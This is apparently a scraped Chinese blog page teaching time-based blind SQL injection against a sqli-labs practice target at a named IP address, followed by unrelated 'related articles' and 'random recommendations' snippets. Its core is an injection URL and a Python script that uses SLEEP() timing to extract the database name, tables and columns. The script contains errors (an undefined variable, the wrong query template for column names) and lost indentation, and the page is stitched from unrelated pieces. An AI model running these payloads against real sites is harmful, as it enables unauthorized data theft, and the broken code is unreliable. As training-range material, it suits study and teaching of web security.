猜解数据库(MYSQL)信息
http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests #################################################################
# http://43.247.91.228:84/Less-1是靶场地址
################################################################# url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(length(database())={_}, sleep(3), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((select count(*) from information_schema.tables \
where table_schema={_})={__}, sleep(3), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema={_}), \
{__},1)))={___}, sleep(3), 0) --+" url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr((select group_concat(COLUMN_NAME) from \
information_schema.COLUMNS where table_name = {_}), \
{__}, 1))={___}, sleep(3), 0) --+" #################################################################
# 函数功能:猜解数据库名的长度
# 参数意义:n 长度范围
# 返回结果:成功:数据库名长度
# 失败:0
#################################################################
def getLength(n):
for i in range(1, n + 1):
payload = url1.format( _ = i)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解数据库名
# 参数意义:length 数据库名的长度
# 返回结果:成功:数据库名字符串
# 失败:空字符串
#################################################################
def getName(length):
database = "" #数据库名初始化为空字符串
for i in range(1, length + 1):
for j in range(1, 128):
payload = url2.format( _ = i, __ = j)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
database += chr(j)
break
else:
continue
return (database) #################################################################
# 函数功能:猜解数据库中表的数量
# 参数意义:database 数据库名
# n 表的数量范围
# 返回结果:成功:表的数量
# 失败:0
#################################################################
def getTablesNum(database, n):
for i in range(1, n + 1):
payload = url3.format( _ = " '"+ database + "'", __ = i)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解表名
# 参数意义:database 数据库名
# nameLengthTotal 所有表名的字符数及
# 逗号分隔符数之和(
# 表名之间用逗号分隔)
# 返回结果:所有表名的list数组
#################################################################
def getTablesName(database, nameLengthTotal):
tables = []
table = ""
for i in range(1, nameLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ database + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
table += chr(j)
break
else:
continue
tb = table.split(",")
for t in tb:
tables.append(t)
return (tables) #################################################################
# 函数功能:猜解某个表的字段名
# 参数意义:table 表名
# attributeLengthTotal 全部字段名的字符数及用于分
# 割的逗号数之和(字段名之间
# 用逗号分割)的范围
# 返回结果:字段名字符串list数组
#################################################################
def getTableAttributes(table, attributeLengthTotal):
attributes = []
attribute = ""
for i in range(1, attributeLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ table + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
attribute += chr(j)
break
else:
continue
ab = attribute.split(",")
for a in ab:
attributes.append(a)
return attributes #################################################################
#
# 主函数
#
#################################################################
if __name__=="__main__":
#猜解数据库名的长度
length = getLength(10)
#猜解数据库名
database = getName(length)
#猜解表的数量
tablesNum = getTablesNum(database, 10)
#猜解表名
tables = getTablesName(database, tableNum*8)
print ("数据库名的长度为:" + str(length))
print ("数据库名为:" + database)
print ("数据库中表的数量为:" + str(tablesNum))
print ("数据库中的表如下:")
for table in tables:
print (table)
print ("各个表的字段名如下:")
for table in tables:
print (table)
#猜解各个表的字段名
attributes = getTableAttributes(table, 100)
for attribute in attributes:
print (attribute)
猜解数据库(MYSQL)信息的更多相关文章
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- MySQL查看数据库相关信息
使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql> show databases ...
- mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息
1.1. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息 有时候我们想要获取到数据库的基本信息,当前程序连接的那个数据库,数据库的版本信息,数据库中有哪些表,表中都有什么字段 ...
- Atitit mysql数据库统计信息
Atitit mysql数据库统计信息 SELECT table_name, table_rows, index_length, data_length, auto_increment, create ...
- innodb和myisam数据库文件存储详解以及mysql表空间
数据库常用的两种引擎有Innodb和Myisam,关于二者的区别参考:https://www.cnblogs.com/qlqwjy/p/7965460.html 1.关于数据库的存储在两种引擎的存储是 ...
- MySQL中 如何查询表名中包含某字段的表 ,查询MySql数据库架构信息:数据库,表,表字段
--查询tablename 数据库中 以"_copy" 结尾的表 select table_name from information_schema.tables where ta ...
- [转]MySQL查看数据库相关信息
原文链接:MySQL查看数据库相关信息 使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql& ...
- Mysql信息数据库:Information_schema
1. Information_schema information_schema是mysql的信息数据库. 通过该库能够查看mysql以下的数据库,表.权限等信息. 在数据库中会默认生成这个库.inf ...
- Python字典猜解
摘要 目标 使用Python破解WordPress用户密码 使用Python破解zip压缩包密码 思路 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密 ...
随机推荐
- shell内置命令和外部命令的区别
内部命令实际上是shell程序的一部分,其中包含的是一些比较简单的linux系统命令,这些命令由shell程序识别并在shell程序内部完成运行,通常在linux系统加载运行时shell就被加载并驻留 ...
- k线生成模块
1.支持任意周期K线. 2.支持K线偏移. 3.支持指数.主力. 4.支持文华商品指数. 默认支持的是:5秒.1分钟.3分钟.5分钟.日线. 时间:2010年到现在. 数据如下: 5秒线,大宗商品指数 ...
- HTMLinput标签
<input> 标签用于搜集用户信息. 常用的属性: type指定输入项的类型 name定义 input 元素的名称. id给输入项取一个名字,方便后期找到和操作 type指定输入项的类型 ...
- lighting
lighting lighting 是基于 nodejs 构建的一个命令行工具,使用 lighting 可以快速搭建 H5.APP.RestAPI 的开发工程环境(结合 VSCode 最佳).本地开发 ...
- 每天进步一点点------Allegro 动态显示走线长度
手工布线时还可以动态显示当前走线的长度,设置方法为执行菜单命令Setup->User preferences,打开User preferences Editor对话框.在Etch对应的环境变量中 ...
- 【转载】Java的JDBC事务详解
转自:http://www.cnblogs.com/azhqiang/p/4044127.html 事务的特性: 1) 原子性(atomicity):事务是数据库的逻辑工作单位,而且是必须是原子工作单 ...
- java is 和 == ,以及equal
package string; public class MemAddrChange { public static void main(String[] args) { // const 常量区,
- c++对象的内存模式
#include <iostream> using namespace std; class Obj { private: int* a; public: int* ga() { retu ...
- (原)Vue 单文件组件安装 (创建vue-cli 项目)
更新于20200220 题外话:久违了我的博客园 正题: 1.准备工作,安装环境 1.安装node 官网下载安装即可 -- 配置环境变量 2.安装npm (基于node.js 包管理器) 3.安装c ...
- Jmeter学习之-聚合报告详解
在对接口进行性能测试时,经常用到jmeter的聚合报告来分析数据 首先在待测试的接口或线程组下添加“监听器>聚合报告” 执行请求后,将生成聚合报告,聚合报告包括以下结果参数(中文版+英文版) A ...